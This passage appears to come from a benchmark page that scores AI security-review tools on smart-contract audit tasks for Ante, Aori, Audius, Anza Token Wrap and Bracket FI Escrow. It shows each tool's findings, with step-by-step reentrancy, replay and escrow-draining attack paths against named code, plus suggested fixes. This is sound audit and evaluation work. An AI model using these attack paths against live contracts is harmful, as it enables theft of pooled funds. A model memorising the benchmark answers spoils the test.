checkTestPasses()callpool.checkTest()and then return false. Bob, an honest challenger, callscheckTest().- Mallory controls the AnteTest contract, and anyone can create a pool for any test.
- The test contract holds a challenger stake that is at least 12 blocks old.
##### What they get
The eligible amount ends up about twice its real value. Each eligible challenger receives about half of their fair share of the stakers' ETH, and the rest is locked in the pool forever. Mallory does not profit from this. She can only harm users of her own test's pool.
##### How it works
1. Bob's
checkTest()at AntePool.sol:292 passes thetestNotFailedguard and calls the test at AntePool.sol:302.2. Mallory's test calls
checkTest()again. The inner call also passes the guard, becausependingFailureis still false. It sets the failure state and runs_calculateChallengerEligibility.3. Control returns to the outer call, which runs
_calculateChallengerEligibilityagain at AntePool.sol:308. That adds every eligible balance toeligibleAmounta second time.4.
_calculateChallengerPayoutat AntePool.sol:587 divides by the inflatedeligibleAmount, so challengers are underpaid. - Exploit scenario
-
Not specified.
- Recommendation
-
Add a nonReentrant guard to
checkTest,stake,unstake,unstakeAll,withdrawStake,cancelPendingWithdrawandclaim. Another option is to re-checkpendingFailureafter the external call and return early if it is already set. To check the fix, write a test with a re-entering AnteTest and confirm thateligibleAmountequals the sum of the eligible balances.
Devin Security (Deep)
No reentrancy guard around the untrusted test call lets a malicious test re-enter checkTest and double-count eligibility
contracts/AntePool.sol:292Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A test author whose test contract is itself a challenger can make
checkTestre-enter itself duringcheckTestPasses, which adds every challenger's balance toeligibleAmounttwice or more, so challengers receive only a fraction of the slashed stake and the rest is stuck in the pool forever.##### What's wrong
This is a checks-effects-interactions violation.
checkTestcalls the author-controlledcheckTestPasseswhilependingFailureis still false and with no reentrancy lock, then runs_calculateChallengerEligibility, which only ever adds toeligibilityInfo.eligibleAmountand never resets it. A nestedcheckTestthat also fails runs the loop a second time.##### Who can do it
Alice, the author of a test on Globex, deploys the test contract so that it also calls
pool.stake(true)with 0.01 ETH and waits 12 blocks. Trent, an honest challenger, holds 10 ETH against the test. When Alice decides the test should fail, her test'scheckTestPassesfirst callspool.checkTest()from the test contract, returns false in that nested call, and then returns false again to the outer call.Conditions that must hold:
* The test contract is a registered challenger with a stake more than 12 blocks old.
* The test author controls
checkTestPasses(true for every test by design).##### What they get
Alice cannot take money for herself this way, but she can deny Trent most of his payout: with one nested call
eligibleAmountdoubles, so Trent gets half of the staker pool he is owed and the other half stays in the contract with no function able to release it. Deeper nesting shrinks his share further. The verifier bounty and staker losses are unchanged. A test author can already harm challengers by never letting the test fail, so the added capability is limited to griefing payouts of a failure that does happen.##### How it works
1. Trent calls
checkTest; the pool callsanteTest.checkTestPasses()withpendingFailurestill false and no lock (contracts/AntePool.sol:302, 568).2. The test contract calls
pool.checkTest(); the challenger and delay checks pass for it (contracts/AntePool.sol:293-297).3. The nested call fails the test, sets
pendingFailure, and runs_calculateChallengerEligibility, adding every balance toeligibleAmount(contracts/AntePool.sol:303-312, 553-563).4. Control returns to the outer
checkTest, which also sees false and runs the same bookkeeping again;eligibleAmountis added to a second time (contracts/AntePool.sol:558).5.
claimdivides_remainingStakeby the doubledeligibleAmount, so each challenger gets half (contracts/AntePool.sol:586-588). - Exploit scenario
-
Not specified.
- Recommendation
-
Add a reentrancy guard (OpenZeppelin ReentrancyGuard) to
checkTest,stake,unstake,unstakeAll,cancelPendingWithdrawandclaim, or set a transient lock flag before callingcheckTestPasses. Also reseteligibilityInfo.eligibleAmount = 0before the loop so a repeat run cannot accumulate. Verify with a Hardhat test using a mock test that re-enterspool.checkTest()and asserts the transaction reverts andeligibleAmountequals the sum of eligible balances.
-
-
Anza Token Wrap Rust SPL token wrap program. Tasks 1 V12 0/1 Codex Sec 0/1 Pashov Opus — Pashov GPT-6 — Devin 0/1 Devin (Deep) 1/1 Claude Sec 0/1 Claude Opus 0/1 Vercel 0/1
SPL token wrap program.
Read the audit report-
Escrow accounts are not bound to caller, resulting in denial of service anza-token-wrap-1 · 1 writeup Medium
Devin Security (Deep)
Escrow account is caller-chosen, allowing fragmented escrows and unwrap griefing
program/src/processor.rs:198Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone holding wrapped tokens can empty the specific escrow another user is about to unwrap from, making that user's unwrap fail, but no tokens are lost.
##### What's wrong
The escrow is not tied to a canonical address.
process_wrapaccepts any token account whose owner field is the wrapped mint authority PDA, andprocess_unwrapperforms no check on the escrow at all and relies only on the PDA signature for the transfer. Deposits for one wrapped mint can therefore be spread across many escrow accounts chosen by callers.##### Who can do it
Alice, a user at Acme, wraps 500 TOK into escrow E1 (the authority PDA's associated token account, which is what the CLI defaults to). Mallory, any user with 500 wTOK, watches the mempool. When Alice submits an
Unwrapnaming E1, Mallory front-runs with her ownUnwrapfrom E1, emptying it. Alice's transaction fails with insufficient funds. Mallory re-wraps her TOK into a fresh escrow E2 she created and repeats whenever Alice retries.Conditions that must hold:
- Mallory holds wrapped tokens at least equal to the balance of the escrow Alice targets.
- Mallory can observe or predict which escrow Alice's unwrap names.
##### What they get
Mallory can repeatedly block Alice from unwrapping at the cost of transaction fees only, since each front-run is a fair exchange of her wrapped tokens for unwrapped ones. She cannot take Alice's tokens. The total escrowed balance across all escrows still equals the wrapped supply, but clients that assume a single canonical escrow (such as the CLI default) will fail to find the funds.
##### How it works
1.
process_wraponly checks that the escrow'sownerfield equals the authority PDA (program/src/processor.rs:198-204), so any caller can create a new token account owned by the PDA and deposit into it.2.
process_unwrapaccepts whateverunwrapped_escrowthe caller passes with no address or owner check (program/src/processor.rs:254) and signs the transfer out of it with the PDA (program/src/processor.rs:304-314).3. Deposits become spread across arbitrary PDA-owned accounts, and any wrapped-token holder can drain any individual escrow, so a targeted unwrap can be made to fail.
- Exploit scenario
-
Not specified.
- Recommendation
-
Require the escrow to be the associated token account of the wrapped mint authority PDA for the unwrapped mint and unwrapped token program, and verify this derived address in both
process_wrapandprocess_unwrap(fail with anEscrowMismatcherror otherwise). To check the fix, add tests that pass a non-ATA PDA-owned token account as the escrow to both Wrap and Unwrap and assert they are rejected, and that the ATA escrow succeeds.
-
-
Aori Solidity Cross-chain RFQ settlement engine. Tasks 2 V12 2/2 Codex Sec 0/2 Pashov Opus 1/2 Pashov GPT-6 1/2 Devin 0/2 Devin (Deep) 2/2 Claude Sec 0/2 Claude Opus 0/2 Vercel 2/2
Cross-chain RFQ settlement engine.
Read the audit report-
Missing reentrancy guard in the cancel function aori-1 · 4 writeups High
V12
Reentrant cancellation spends another active order's collateral
contracts/Aori.sol:501Predicted severity: High- Root cause
-
cancel(bytes32)does not share the fill's reentrancy guard, and_settleSingleChainSwaprelies on pre-call status validation rather than revalidating the order after external output delivery. Aggregate offerer balances hide that the specific order was already refunded. - Impact
-
A callback-capable whitelisted solver recipient can cause both an input refund and filler reimbursement for one order, consuming the locked backing allocated to another active order by the same offerer. The other order can then fail cancellation or settlement because its ledger collateral was spent, despite remaining Active; both plain ERC20 and native source deposits can supply the affected collateral.
- Description
-
A same-chain fill validates
Activestatus before transferring output to the recipient, but its later settlement never rechecks that status.cancel(bytes32)is an unguarded sibling entrypoint that a whitelisted solver can invoke while the fill'snonReentrantlock is held. A native-output recipient that is also a whitelisted solver can therefore cancel the currently filling order in its receive callback, refunding the stored input and settingCancelled. If the offerer has another sufficient locked deposit of the same input token,_settleSingleChainSwapsubsequently debits that aggregate balance, credits the filler, and overwrites the cancelled order's status withSettled. The final balance-transfer assertion passes because it snapshots balances only after the output callback and does not tie the debit to the still-active escrow resource.
Pashov (Claude Opus 5.5 high)
Single-chain cancel(bytes32) has no nonReentrant guard and pushes native refunds
contracts/Aori.sol:765Predicted severity: Informational- Root cause
-
The reentrancy guard is applied inconsistently.
- Impact
-
Cross-function or read-only reentrancy risk for integrators and for future code changes.
- Description
-
cancel(bytes32) is the only state-changing user entry point without nonReentrant, and it sends ETH to the offerer through a low-level call. State is updated before the transfer (CEI), so no direct exploit was found. Still, the offerer gets control while other entry points are unlocked, and view functions such as getLockedBalances can be observed mid-flow.
- Exploit scenario
-
An offerer contract receiving the native refund re-enters other Aori functions, or third-party protocols that read Aori balances, while the cancellation is still in progress.
- Recommendation
-
Add nonReentrant to cancel(bytes32).
Devin Security (Deep)
cancel(bytes32) is not reentrancy-guarded and can run inside a hook call during fill
contracts/Aori.sol:765Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
If a whitelisted hook can be made to call back into Aori, a solver can cancel an order in the middle of filling it, so the offerer gets both a refund and the output while the solver is paid from another order's locked funds; this needs a hook that forwards arbitrary calls and a solver address that is a contract.
##### What's wrong
This is a reentrancy gap. Every state-changing entry point carries
nonReentrantexcept the single-argumentcancel(bytes32). Duringfill(order, hook)the contract makes an external call with solver-supplied calldata (observeBalChg), and_settleSingleChainSwapsamples its "initial" balances only after that call, so a cancel that happens inside the hook call is invisible to the later consistency check.##### Who can do it
Alice has two active single-chain orders in token T, each for 100 T, so 200 T is locked for her. Mallory operates a whitelisted solver whose address is a contract. The owner has whitelisted a router hook that executes caller-supplied calls. Mallory fills Alice's first order with that hook; inside the hook call, the router calls Mallory's solver contract, which calls
cancel(orderId)for the same order.- Attacker controls a whitelisted solver, and that solver address is a contract.
- A whitelisted hook exists whose instructions can trigger a call to an attacker-controlled contract (for example a generic multicall router).
- The target is an Active single-chain order whose offerer has other locked balance in the same token (or the attacker colludes with the offerer).
##### What they get
The reentrant cancel refunds 100 T to Alice and marks the order Cancelled. Back in
fill, the output is sent to Alice's recipient, and_settleSingleChainSwapdebits 100 T from Alice's remaining locked balance (which belongs to her second order) and credits Mallory 100 T. Alice has received both her input back and her output; Mallory is credited. Alice's second order is now unbacked, so when it settles the contract pays out tokens it does not hold, and the last withdrawer of token T loses. If Mallory and Alice collude, they take 100 T from the shared pool per round.##### How it works
1. Mallory calls
fill(order, hook)(contracts/Aori.sol:535) for Alice's Active single-chain order.2.
_executeDstHookrunsobserveBalChg(contracts/Aori.sol:604,contracts/AoriUtils.sol:412), an external call with Mallory's calldata to the whitelisted hook.3. The hook calls Mallory's solver contract, which calls
cancel(orderId)(contracts/Aori.sol:765); there is nononReentrantmodifier, andvalidateSourceChainCancelaccepts any whitelisted solver.4.
_cancel(contracts/Aori.sol:814) sets the order Cancelled, reduces Alice's locked balance by 100 T, and sends her 100 T.5. Control returns to
fill, which pays the output to the recipient (contracts/Aori.sol:558) and calls_settleSingleChainSwap(contracts/Aori.sol:714), which samples balances only now, debits 100 T from Alice's other locked funds, credits Mallory, and overwrites the status to Settled. - Exploit scenario
-
Not specified.
- Recommendation
-
Add
nonReentranttocancel(bytes32)so it cannot be entered whilefillordepositis executing. Also re-checkorderStatus[orderId] == Activeinside_settleSingleChainSwap(or at the end offill) before marking the order Settled. Verify with a Foundry test using a mock hook that callscancel(orderId)from insidehandleHook; the fill must revert.
Vercel Security Review
Reentrant cancellation creates unbacked credits that can drain pooled escrow
contracts/Aori.sol:765Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. An allowlisted solver funds equal-input orders A (single-chain, native output) and B (cross-chain) from its EOA. A's recipient callback during fill (
contracts/Aori.sol:511) can enter this unguarded cancellation and refund A.** -contracts/Aori.sol:765-766```solidity title="contracts/Aori.sol:765-766"
function cancel(bytes32 orderId) external whenNotPaused {
Order memory order = orders[orderId];
```
**2. A's outer fill then consumes B's shared locked balance and credits A, without rechecking A's cancelled status.** -
contracts/Aori.sol:724-733```solidity title="contracts/Aori.sol:724-727"
if (balances[order.offerer][order.inputToken].locked >= order.inputAmount) {
bool successLock = balances[order.offerer][order.inputToken].decreaseLockedNoRevert(
uint128(order.inputAmount)
);
```
**3. After B is filled remotely, settlement credits B even when its locked debit fails. The subsequent return preserves that credit, enabling withdrawals against unrelated depositors' reserves.** -
contracts/Aori.sol:663-671```solidity title="contracts/Aori.sol:666-668"
bool successUnlock = balances[filler][order.inputToken].increaseUnlockedNoRevert(
uint128(order.inputAmount)
);
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Guard cancel(bytes32) with the same nonReentrant protection as fills, and finalize/debit orders before invoking recipients or revalidate their status afterward. Make _settleOrder's balance updates atomic: validate both the locked debit and unlocked credit before writing, or roll back all per-order mutations on either failure. A failed debit must never create an unlocked credit.
-
Incorrect state update on settlement failure aori-2 · 4 writeups High
V12
Failed settlement commits unmatched balance mutations
contracts/Aori.sol:657Predicted severity: High- Root cause
-
_settleOrder()treats returning from two independently mutating helpers as though it were atomic rollback. It must prevent either write unless both accounting operations can succeed together. - Impact
-
An insufficient-lock settlement can create an unbacked withdrawable credit that consumes token backing belonging to other holders. An unlocked-overflow settlement can remove an offerer's escrow entitlement without reimbursing the paying filler, producing fund loss or a requirement for privileged repair; the existence of a production token with enough units to trigger overflow is not established.
- Description
-
A delivered settlement calls the nonreverting locked debit and unlocked credit separately, then returns if either reports failure. A successful first mutation is not rolled back when the second fails, and the second mutation is attempted even when the first already failed. With insufficient locked balance following an emergency debit, the filler can still receive a full unlocked credit while the order remains Active. Conversely, when the filler credit would overflow uint128, the offerer's locked balance is removed without any corresponding filler credit. Since the receive handler returns successfully and the sender has already removed the hash from its queue, the application provides no per-item failure or retry state for either outcome.
Pashov (Codex GPT-6 Sol high)
Failed unlocked-credit increase silently destroys the offerer's locked credit
contracts/Aori.sol:663Predicted severity: Medium- Root cause
-
Two dependent storage writes are handled as independent nonreverting operations, followed by an early return on partial failure.
- Impact
-
A deposited order can become unwithdrawable and uncancellable, with tokens left in contract custody but no matching user credit. The reverse partial failure can grant the filler an unbacked withdrawal claim.
- Description
-
Source settlement decreases the offerer's locked balance before trying to increase the filler's unlocked balance. If the second operation returns false because its uint128 field would overflow, _settleOrder returns without reverting or restoring the first write. The order remains Active, but its locked credit is gone. Conversely, if the locked debit fails but the unlocked credit succeeds, the function creates an unbacked filler credit before returning.
- Exploit scenario
-
A filler with unlocked credit near the uint128 maximum receives another settlement for the same token. The offerer's locked balance is reduced, the filler-credit increase detects overflow, and the function silently skips status change. A later cancellation fails its locked-balance check.
- Recommendation
-
Check both preconditions before mutating either balance, or revert the entire message on an accounting failure.
Devin Security (Deep)
_settleOrder credits the filler even when the offerer's locked balance could not be debited
contracts/Aori.sol:657Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When a settlement arrives for an order whose offerer no longer has enough locked balance, the filler is still credited the full amount, so the contract ends up owing more than it holds; this needs the locked balance to already be out of sync, which today requires an owner emergency action or another bug.
##### What's wrong
This is an accounting bug (credit without debit).
_settleOrderruns the locked-balance decrease and the unlocked-balance increase back to back and only afterwards checks whether either failed. The increase has already been written to storage by the time the function returns early.##### Who can do it
Alice, a trader, deposits 1,000 USDC into an order on the source chain. The Aori owner later calls
emergencyWithdraw(token, amount, user, isLocked = true, recipient)to pull Alice's locked 1,000 USDC out, but the order stays Active. Sam, a solver, fills Alice's order on the destination chain and callssettle. When the settlement lands, Alice's locked debit fails, yet Sam's unlocked balance still rises by 1,000 USDC.- An order is Active on the source chain while its offerer's locked balance for that token is below
inputAmount. The repo shows one way to reach this state: the owner's five-argumentemergencyWithdrawwithisLocked = true(contracts/Aori.sol:262-287). The reentrancy issue reported separately oncancel(bytes32)is another.- A settlement message for that order is delivered from the destination chain.
##### What they get
Sam can withdraw 1,000 USDC that the contract no longer has set aside for his order. The shortfall is paid out of other users' and solvers' USDC held by the same contract, and the last person to withdraw that token fails. The order itself stays Active forever, so it can never be cleaned up without another owner action. The damage is limited to the token and amount of the mis-synced order.
##### How it works
1. A settlement payload reaches
_handleSettlement(contracts/Aori.sol:684) and calls_settleOrderfor an Active order.2.
decreaseLockedNoRevert(contracts/Aori.sol:663) returns false because the offerer's locked balance is too small, and writes nothing.3.
increaseUnlockedNoRevert(contracts/Aori.sol:666) runs regardless and writes the filler's new unlocked balance to storage.4. The guard at
contracts/Aori.sol:670returns early, leaving the order Active and the filler credited.5. The filler calls
withdraw(contracts/Aori.sol:859) and takes tokens that belong to other balances. - Exploit scenario
-
Not specified.
- Recommendation
-
Check the debit result before crediting: call
decreaseLockedNoRevertfirst, return immediately if it fails, and only then callincreaseUnlockedNoRevert. If the credit fails after a successful debit, restore the locked balance (or revert that order's processing) so the two writes stay atomic. Verify with a Foundry test that usesemergencyWithdraw(..., isLocked = true, ...)to drain an offerer's locked balance, delivers a settlement for that order, and asserts the filler's unlocked balance is unchanged.
Vercel Security Review
Reentrant cancellation creates unbacked credits that can drain pooled escrow
contracts/Aori.sol:765Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. An allowlisted solver funds equal-input orders A (single-chain, native output) and B (cross-chain) from its EOA. A's recipient callback during fill (
contracts/Aori.sol:511) can enter this unguarded cancellation and refund A.** -contracts/Aori.sol:765-766```solidity title="contracts/Aori.sol:765-766"
function cancel(bytes32 orderId) external whenNotPaused {
Order memory order = orders[orderId];
```
**2. A's outer fill then consumes B's shared locked balance and credits A, without rechecking A's cancelled status.** -
contracts/Aori.sol:724-733```solidity title="contracts/Aori.sol:724-727"
if (balances[order.offerer][order.inputToken].locked >= order.inputAmount) {
bool successLock = balances[order.offerer][order.inputToken].decreaseLockedNoRevert(
uint128(order.inputAmount)
);
```
**3. After B is filled remotely, settlement credits B even when its locked debit fails. The subsequent return preserves that credit, enabling withdrawals against unrelated depositors' reserves.** -
contracts/Aori.sol:663-671```solidity title="contracts/Aori.sol:666-668"
bool successUnlock = balances[filler][order.inputToken].increaseUnlockedNoRevert(
uint128(order.inputAmount)
);
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Guard cancel(bytes32) with the same nonReentrant protection as fills, and finalize/debit orders before invoking recipients or revalidate their status afterward. Make _settleOrder's balance updates atomic: validate both the locked debit and unlocked credit before writing, or roll back all per-order mutations on either failure. A failed debit must never create an unlocked credit.
-
-
Audius Solana Rust Audius reward distribution on Solana. Tasks 1 V12 1/1 Codex Sec 0/1 Pashov Opus — Pashov GPT-6 — Devin 1/1 Devin (Deep) 0/1 Claude Sec 1/1 Claude Opus 1/1 Vercel 1/1
Audius reward distribution on Solana.
Read the audit report-
Missing PDA validation leading to multiple transfers audius-solana-1 · 5 writeups Critical
V12
Signed substitute markers permit unlimited reward replay
solana-programs/reward-manager/program/src/processor.rs:433Predicted severity: Critical- Root cause
-
Replay protection assumes that PDA signer seeds force the supplied creation destination to be that PDA.
process_evaluate_attestationsomits the explicit marker-address equality check, allowing an independently signed ordinary account to replace the replay record. - Impact
-
A rewarded recipient who retains a valid quorum and oracle signature set can repeatedly collect the same reward, draining the reward vault into their own claimable-token bank. The deterministic ID marker is never created in this sequence, so each repetition can recreate the staging account and pass the zero-lamport test.
- Description
-
process_evaluate_attestationstreats the supplied transfer account as unused whenever its lamport balance is zero, but never checks its key against theT_plus ID PDA. Although the marker-creation CPI supplies that PDA's signer seeds,create_accountactually creates the caller-supplied destination account. An attacker can supply a fresh ordinary keypair account with its transaction signer flag set, satisfying the System Program's destination-signature requirement independently of the PDA seeds. The resulting marker is stored at the attacker's keypair address rather than the deterministic replay-protection address. Re-submitting the same valid signatures and evaluating with another fresh signed account repeats the payout for the same ID.
Devin Security
EvaluateAttestations never checks the transfer account address, so one set of attestations can be paid out many times
solana-programs/reward-manager/program/src/processor.rs:433Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who has seen one valid reward payout can repeat it again and again, draining the whole reward pool to the same recipient.
##### What's wrong
This is a replay bug. The program uses a
T_<id>account as a "this reward was already paid" marker, but it never checks that the account passed in is the realT_<id>address. It only checks that the passed account has zero lamports and then creates it.##### Who can do it
Mallory signs up for a free Audius account and earns one small challenge reward. The oracle and senders sign attestations for her reward, and those signatures are now public on chain. Mallory then sends her own transactions that call
EvaluateAttestationsmany times. Each call uses a brand new keypair as the transfer account.- Mallory needs one set of valid attestations for any reward id. These sit in public
SubmitAttestationstransactions on chain.- Mallory needs a little SOL to pay fees and rent for each fresh transfer account.
- No other signer or role is needed.
EvaluateAttestationsis permissionless.##### What they get
Mallory gets the same reward amount paid into her user bank once per call, until the reward manager's token account is empty. This drains the token pool that pays every other user's rewards. Inside one transaction she can repeat the call because the verified messages account keeps its data until the transaction ends. Across transactions she can re-submit the old, still valid attestation signatures to rebuild that account and keep going.
##### How it works
1. Mallory calls
EvaluateAttestationswith a fresh keypair astransfer_account_infoand signs with that keypair (processor.rs:698).2. The only replay check is that this account has zero lamports (processor.rs:434), which a fresh keypair always has.
3. The tokens are sent to the recipient before the marker is created (processor.rs:478).
4.
create_accountis called on Mallory's keypair. It succeeds because the outer transaction signature satisfies the system program, and the PDA seeds are never compared to the account key (processor.rs:489-512).5. The verified messages account only has its lamports zeroed and keeps its data and owner for the rest of the transaction (processor.rs:514-521), so another
EvaluateAttestationsin the same transaction passes again.6. In a later transaction,
SubmitAttestationsaccepts the same old signed messages again because it has no freshness check (utils/signs.rs:285-321), so the verified messages account can be rebuilt. - Exploit scenario
-
Not specified.
- Recommendation
-
Before the token transfer, derive the
T_<id>address and requiretransfer_account_info.key == derived address(for example withassert_account_key). Also clear the verified messages data (or set it to uninitialized) when closing it, and rejectSubmitAttestationsfor an id whoseT_<id>account already exists. To check the fix, write a program test that callsEvaluateAttestationstwice for the same id, once with the real PDA and once with a fresh keypair. The second call must fail, and so must a secondEvaluateAttestationsin the same transaction.
Claude Security (Sonnet 5.5)
EvaluateAttestations never checks the transfer (anti-replay) account is the derived PDA, so any attested disbursement can be replayed without limit
solana-programs/reward-manager/program/src/processor.rs:505Predicted severity: Critical- Root cause
-
Vulnerable symbol: Processor::process_evaluate_attestations
Preconditions: The attacker needs a valid (recipient, amount, id) attestation set, which is public on-chain after any legitimate claim, or one earned legitimately; The attacker pays tx fees and the transfer-account rent, which is cheap and is refunded via the verified_messages lamports
Offending code:
create_account(
- Impact
-
The only on-chain double-spend protection for reward disbursements is bypassed. Any user holding a valid attestation set can drain the reward vault to their own user bank. Any third party can also replay other users' public attestations to deplete the pool. The result is loss of all reward-pool funds.
- Description
-
The double-spend guard is a transfer account that is supposed to live at PDA T_<id>. The caller supplies transfer_account_info, and the program only checks its lamports are 0 (line 434). It then derives the PDA but discards the derived address (
let (reward_manager_authority, _, bump_seed) = find_derived_pair(, line 494) and never compares it with the supplied key. An attacker passes a fresh keypair-signed account as the transfer account, so the spl_token_transfer at line 478 can run again for the same id. - Exploit scenario
-
1. The attacker earns one legitimate reward, or watches any legitimate disbursement on-chain. The secp256k1 instructions of the N DN attestations and the oracle attestation are public. The messages carry no nonce and no reward-manager binding, so they stay valid forever. 2. The attacker builds a tx that replays the secp instructions with SubmitAttestations. verified_messages is recreated because the previous one was zeroed and purged. 3. The attacker calls EvaluateAttestations with transfer_account set to a brand-new keypair that also signs the tx. The
lamports() != 0check passes. create_account is CPI'd with that keypair's signer privilege, so the PDA seeds are irrelevant. Tokens move from the reward vault to the recipient's user bank again. 4. Repeat for as long as the vault has funds. Within one tx, evaluate can also be called several times in a row. The verified_messages data is still present after its lamports are zeroed, and each call uses a different fresh transfer account. - Recommendation
-
Bind the transfer account to the PDA. Capture the derived address from find_derived_pair and call assert_account_key(transfer_account_info, &derived_transfer_address)? before any token movement. Keep the lamports check, and use create_account only once the key is verified. Also add a test that passes an arbitrary signer account as the transfer account.
Claude Security (Opus 5.5)
EvaluateAttestations replay guard never checks that the transfer account is the T_<id> PDA, so one attestation set can be paid out without limit
solana-programs/reward-manager/program/src/processor.rs:434Predicted severity: Critical- Root cause
-
Vulnerable symbol: process_evaluate_attestations
Preconditions: At least one valid attestation set (min_votes+1 messages) exists for the target reward manager. Any past legitimate disbursement's on-chain secp instructions are enough.
Offending code:
if transfer_account_info.lamports() != 0 {
- Impact
-
Anyone holding one valid attestation set can drain the reward manager's entire token balance. Past attestations are public on-chain, so this is any rewarded user or any observer.
- Description
-
transfer_account_infocomes from the caller and is never compared to the T_<id> PDA derived at lines 489-498. Its only check islamports()==0. Because create_account (lines 505-512) also succeeds for any fresh keypair that signs the outer transaction, a used attestation set can be paid out again through spl_token_transfer (line 478) as many times as the attacker likes. Also CWE-754: Both PDAs come from public data (reward manager + "T_"/"V_" + "challengeId:specifier", listed at the discovery /challenges/undisbursed endpoint). Lamports != 0 on the transfer address is treated as already-disbursed. A system-owned verified-messages address with lamports fails the ownership check in SubmitAttestations. Anyone can send lamports to these addresses beforehand. - Exploit scenario
-
A user receives one legitimate reward (recipient R, amount A, id I). The discovery-node and oracle secp256k1 signatures are public on-chain. In a new transaction the attacker calls SubmitAttestations once per original message, reusing the original secp instruction data with only the instruction-index offsets changed. This recreates V_I with min_votes+1 valid messages. The attacker then calls EvaluateAttestations repeatedly in one transaction, passing a different freshly generated signer keypair as account #5 (transfer account) each time. The verified_messages data stays readable for the rest of the transaction even after its lamports are zeroed. Every call passes the lamports==0 check and the message checks, and transfers A tokens from the reward manager's token account to UserBank(R). Repeating this empties the whole reward pool into the attacker's user bank. A third party can do the same to drain the pool into other users' banks.
- Recommendation
-
Keep the derived T_<id> address from find_derived_pair and call assert_account_key(transfer_account_info, &derived_transfer_address) before any transfer. Also assert that verified_messages_info is the V_<id> PDA, and zero or reassign its data (not just its lamports) when closing it. Also CWE-754: Treat an existing system-owned account as 'not yet created': fund the remainder, then allocate and assign with PDA seeds instead of create_account. Check ownership and initialization state rather than lamports for replay protection.
Vercel Security Review
Unvalidated transfer-record address allows repeated reward payouts
solana-programs/reward-manager/program/src/processor.rs:433Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Replay protection checks a caller-selected account** -
solana-programs/reward-manager/program/src/processor.rs:433-436```rust title="solana-programs/reward-manager/program/src/processor.rs:433-436"
// Ensure the transfer account doesn't yet exist
if transfer_account_info.lamports() != 0 {
return Err(AudiusProgramError::AlreadySent.into());
}
```
A reward recipient can resubmit previously published attestations and supply a fresh, transaction-signed keypair instead of the existing disbursement PDA.
**2. The expected record address is discarded** -
solana-programs/reward-manager/program/src/processor.rs:494-497```rust title="solana-programs/reward-manager/program/src/processor.rs:494-497"
let (reward_manager_authority, _, bump_seed) = find_derived_pair(
program_id,
reward_manager_info.key,
transfer_account_seed.as_ref(),
```
No address comparison occurs; PDA signing seeds do not prohibit an independently signed destination.
**3. The arbitrary account records an already-executed payout** -
solana-programs/reward-manager/program/src/processor.rs:505-508```rust title="solana-programs/reward-manager/program/src/processor.rs:505-508"
create_account(
program_id,
payer_info.clone(),
transfer_account_info.clone(),
```
Each fresh account bypasses deduplication, repeatedly paying the same recipient and depleting reward funds.
- Exploit scenario
-
Not specified.
- Recommendation
-
Retain the derived transfer-record address and assert transfer_account_info.key equals it before testing its balance or transferring tokens. Enforce the derivation on chain rather than relying on instruction builders.
-
-
Bracket FI Escrow Solidity OTC escrow with seller-driven deposits. Tasks 4 V12 3/4 Codex Sec 1/4 Pashov Opus 3/4 Pashov GPT-6 2/4 Devin 1/4 Devin (Deep) 4/4 Claude Sec 1/4 Claude Opus 1/4 Vercel 1/4
OTC escrow with seller-driven deposits.
Read the audit report-
Reentrancy in withdrawals bracket-fi-escrow-1 · 9 writeups Critical
V12
Reentrant ETH withdrawals drain pooled deposits
src/EscrowBase.sol:116Predicted severity: Critical- Root cause
-
withdrawperforms recipient callbacks before reducingusersBalanceandtotalStaked, with no reentrancy exclusion. The cached balance assignment and unchecked aggregate subtraction allow repeated payouts to complete without reconciling them against the caller's original stake. - Impact
-
A depositor contract can withdraw more ETH than it deposited by recursively withdrawing against the same recorded WETH balance, taking WETH backing other depositors. The attacker can stop recursion before pooled WETH is exhausted so the transaction succeeds; repeated debits can also wrap
totalStakedwhile the user's balance is overwritten with the same cached remainder. - Description
-
withdrawreads the caller's recorded balance and checks the requested amount before making external calls, but does not debit that balance until all transfers finish. In the ETH-unwrapping branch it unwraps pooled WETH and sends ETH tomsg.senderusing an unrestricted call. A contract recipient can callwithdrawagain from its receive callback while its original balance is still available. Each nested invocation can unwrap and transfer another portion of the pooled WETH, and the later unchecked accounting updates do not reject the repeated withdrawals. Neither concrete escrow overrides this function or adds a reentrancy guard, so this path does not require a malicious token or privileged caller.
Codex Security (GPT-6 Sol)
A contract depositor can drain other users' WETH through reentrant ETH withdrawals
src/EscrowBase.sol:151Predicted severity: Critical- Root cause
-
withdrawreads the caller's credited balance, then invokes the caller through an ETH send, and only afterward stores the debit. A reentrant caller starts another withdrawal against the unchanged balance, and each returning frame overwrites the same user-balance value. The shared WETH pool pays every nested call. - Impact
-
An unprivileged contract depositor can drain pooled WETH during the open escrow period, causing loss of other users' collateral; only a positive attacker deposit and sufficient pooled funds are needed.
- Description
-
A contract depositor can call
withdrawagain while receiving ETH, before the escrow reduces its recorded balance. Each call pays the same entitlement, consuming WETH that backs other users. - Exploit scenario
-
Contract depositor's withdrawal amount -> unchanged
usersBalancecheck -> WETH unwrap -> ETH callback -> nested withdrawal -> late balance overwrite - Recommendation
-
Reduce
usersBalanceandtotalStakedbefore any unwrap, transfer or ETH call, and guard balance-changing entry points against reentrancy.
Pashov (Claude Opus 5.5 high)
Reentrancy in withdraw() ETH-unwrap path allows draining all escrowed WETH
src/EscrowBase.sol:136Predicted severity: Critical- Root cause
-
Checks-effects-interactions is violated: state (usersBalance and totalStaked) is updated after an untrusted external ETH call, and the final write uses a stale cached
balancevalue. No nonReentrant modifier is present. - Impact
-
Any depositor can withdraw their balance many times over and steal the WETH/ETH deposited by every other user before the escrow breaks. totalStaked is decremented in an unchecked block once per nested call, so it can also underflow and corrupt the accounting.
- Description
-
withdraw() reads the caller's balance into a local variable, performs the external transfer (for WETH with unwrap=true it unwraps and sends raw ETH via msg.sender.call), and only afterwards writes
